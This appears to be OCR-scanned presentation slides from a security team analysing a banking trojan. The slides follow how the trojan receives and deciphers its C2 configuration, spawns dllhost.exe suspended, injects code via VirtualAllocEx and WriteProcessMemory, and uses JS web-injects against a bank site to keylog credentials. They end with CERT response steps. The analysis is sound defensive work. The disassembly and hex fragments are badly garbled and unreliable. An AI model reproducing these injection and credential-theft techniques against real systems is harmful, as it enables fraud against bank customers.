" The C2 send the configuration to
the malware

loc 61444B:

and [ebp+var_ 1H],

lea eax, [ebp+var_ 18]
push eax memor
push emory
mov eax, [ebp+arg 8]

" The malware stores it into the

60 00 0O 66 0D 0@ 80 e :
A0 8e ns 6C F8 B8 F8 4B 06 g ‘ ... 317 %K.

17 13 4@ 52 6C 54 SE @5 =F..@R.1T" U]U
BB 69 3D 68 1# 17 1ﬂ a APEE. 1 h....A..H

mov eax, [eax+ |
mov ecx, [ebp+arg 8]
add eax, [ecxE+ |
push eax

A0000000006 14465 _push ebp+uar

Q.2HMW." .. ..D.>h.
15 F...D..JU_PL_UWD.

1 1E 5B EB hh B5 1E 58 87 9F.B...B_.[[D..X.
il 18 16 17 46 15 19 1B 1B
A1 18 5% 56 CE 4C 13 4E 3C 38 180 42 _GBP..UU"L.H<B.B

57 SE 18

44 14 1E

L3 17 44 1C [E[-C.;hD.CCF.D.

e 8 D HE 14 1A 34 F_V.XJ.ZH]SFH..4
aD ﬁ

AB0AROARARGT 4 46E
short loc 614476




GETTING THE CONFIGURATION

Ll 2 =

loc_ 614CAHT :

push StrConf
614C8F push [ebptvar_2C]
,» duord 627E3C push [e
» duord_627AFB[Eax=4] call :
p+var_h8], eax He80BB60BBAG14C 7S
,» duord 627E3C [ebp+arg_4],
,» duord 627AFA[eax=4] i short loc_614C89
Fd_627F4C, Bax
p+arg_C],
Ft loc_

epa.network=", .
“=xyiadoye
1) o :
*1kqd.net=", ..
=== ="=youtube.cqg
m"" “ed]j
gicert.com=", ..
“"#taboola.

riteo.com=", ..
=== ="xadnxs .com

digital.securitg|
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The configuration is deciphered
just after

Again, into the memory

Now, go and dump it! Goal
reached!



digital security

SPAWNING DLLHOST.EXE
facture logistique exe 2
__fE:-q_-'e pgistique tmp 12 :
= @ firefox exe i
= @ firefox exe 24

eax, [ebp+var_15C] aiseException (BIdlhost exe
eax hreadAFiber

CreateProcess
)
[ebp+uar 14]

[ebp+uar_4] IleiiiEs Now the malware has the
near ptr unk 6144EE 5

configuration

Susp...

aCiindowsSystem32DIY db 'C:\Windowsysystem32idllhost._exe® ,8

68 F6 EA 0T 0. I 06610048

g8 ap ap
88 08 B8 .
48 00 1 I N in suspended mode)
C:\Windows\syste
m323dllhost . exe.

Dllhost.exe is spawned (naturally

L HH B8



PROCESS INJECTION

call
My
push
push
call
mou
push
push
call
mou
push
push
call
mo
push
push
call
moyy
lea
minpw
push
push

getProcadd
[ebpsuar SC],

AnsistringToUnicode

[ebp+var 30
getProcAdd
[ebp+uvar 58],
LoadDLL
[ebp+uar 38]
getFrochdd
[ebp+uvar S4],
GetProcedufdd
[--I|| + A ::L1'|
getPFrocAdd
[ebp+uvar_ 58],
FreglnicodeStr
[--||| A F s :!I1]
getProcAdd
[ebpruvar 4LC],
eax, [ebpruar

[ebprvar_34],

[ebpruar_34]

digital security
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THE PAYLOAD

= Just after a VirtualAllocEx (to
make some place in the process)

= Call WriteProcessMem
- typically a process injection
= Now the dllhost is running with the

configuration, loaded by
firefox.exe:
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INJ ECTS.J SON THE INJECTS

'securel.entreprises.bnpparibas.net”,

*/assets/js/min. jquery.js*" " When hitting these URLs
' f———_ > Trigger the corresponding
malicious JS code

S = Keylogging users credentials

'*/assets/js/min. jguery.js*"

" What does a CERT do with that?
= Woarn targeted clients
®" Takedown malicious URLs
= Block the malicious URLs
= Populate community malware
platform

= Share intelligence to other
CERTs...
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